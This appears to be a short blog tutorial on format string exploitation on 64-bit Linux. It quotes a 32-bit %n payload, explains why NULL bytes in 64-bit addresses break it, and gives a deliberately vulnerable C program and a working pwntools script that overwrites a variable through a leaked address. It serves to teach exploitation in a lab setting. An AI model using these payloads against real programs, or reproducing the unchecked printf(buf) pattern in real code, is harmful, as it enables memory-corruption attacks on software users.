TL;DR
Just use pwntools
😜
The Issue
There are a lot of blog posts talking about format string vulnerability exploits, and they usually demonstrate them the same way.
\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08%x%x%126x%n%17x%n%17x%n%17x%n
–source: hackinglab.cz blog
The general anatomy of these payloads is
[padding][4 address bytes]%[value to write]c%[n|hn|hhn]$N...
^ ^ ^ ^
` put this addr | | ` write to "Nth" stack entry
on stack | ` write word (n),
(pointer) ` value to write half word (hn),
to "addr" or byte (hhn)
A lot of documentation repeats this payload format. A problem occurs when we try to implement this on 64-bit machines: the 64-bit address most likely contain NULL bytes (‘\x00’)
This is because addresses on 64-bit machines are 8 bytes, but typically these map to 6-byte address in virtual memory.
When you have NULL bytes in your format string printf stops printing.
The solution
So what’s a hacker to do?
Put addresses at the end of the payload, in case they contain null bytes. Or just use pwntools
like I said.
Learning Reinforcement
PoC || GTFO right? Here’s a vulnerable program.
#include <stdio.h>
#include <unistd.h>
int flag = 0x31337;
int main (void)
{
int* flagPtr = &flag;
char buf[64];
printf("%p\n", flagPtr);
read(STDIN_FILENO, buf, sizeof(buf));
printf(buf);
if (flag != 0x31337) {
puts("getting close");
}
if (flag == 42) {
puts("win");
} else {
puts("lose");
}
printf("0x%x\n", flag);
return 0;
}
Executing the program looks like this when I provide “?” for input when it hits read.
root@1dcc988dd9eb:/pwn# ./fsv
0x557a7325c010
?
?
lose
0x31337
Notice the address printed, 0x557a7325c010
, is six bytes, meaning it will contain a null byte if we pack it into a 64bit LE format.
Finally, here is the block of Pwntools code that wins the game:
io = start()
leak = io.readline()
leak_addr = int(leak, 16)
io.info(f"address of flag: 0x{leak_addr:x}")
payload = fit({
0: [
b'%42c%12$nDDDDDDD',
p64(leak_addr)
],
}, length=64)
input("\n[Press ENTER to send payload]\n")
io.send(payload)
io.interactive()
Some notes about this code:
%42c
- write 42 characters, the “what” value%12$n
- The number of stack-pointer-offsets to the address. Discovered through trial-and-error.$n
We’re doing one (1) 4 byte write- I put padding (‘
D
’) at the end of the format string, so calculating the write value doesn’t need to take accumulated bytes written into account. - The format string is padded to align the address to the stack.
- The entire payload is padded to a consistent length, because sometimes stuff shifts on the stack when you’re messing around with input strings.
To check that everything is aligned on the stack, we can take a look at the first instruction in main
after it calls read
.
The first flag pointer is the stack variable in the code, the second is input by the payload and is the one the payload references.
That’s it!
I still haven’t figured out how to use pwntools
to make this easier/better so keep an eye out for that post. Slàinte!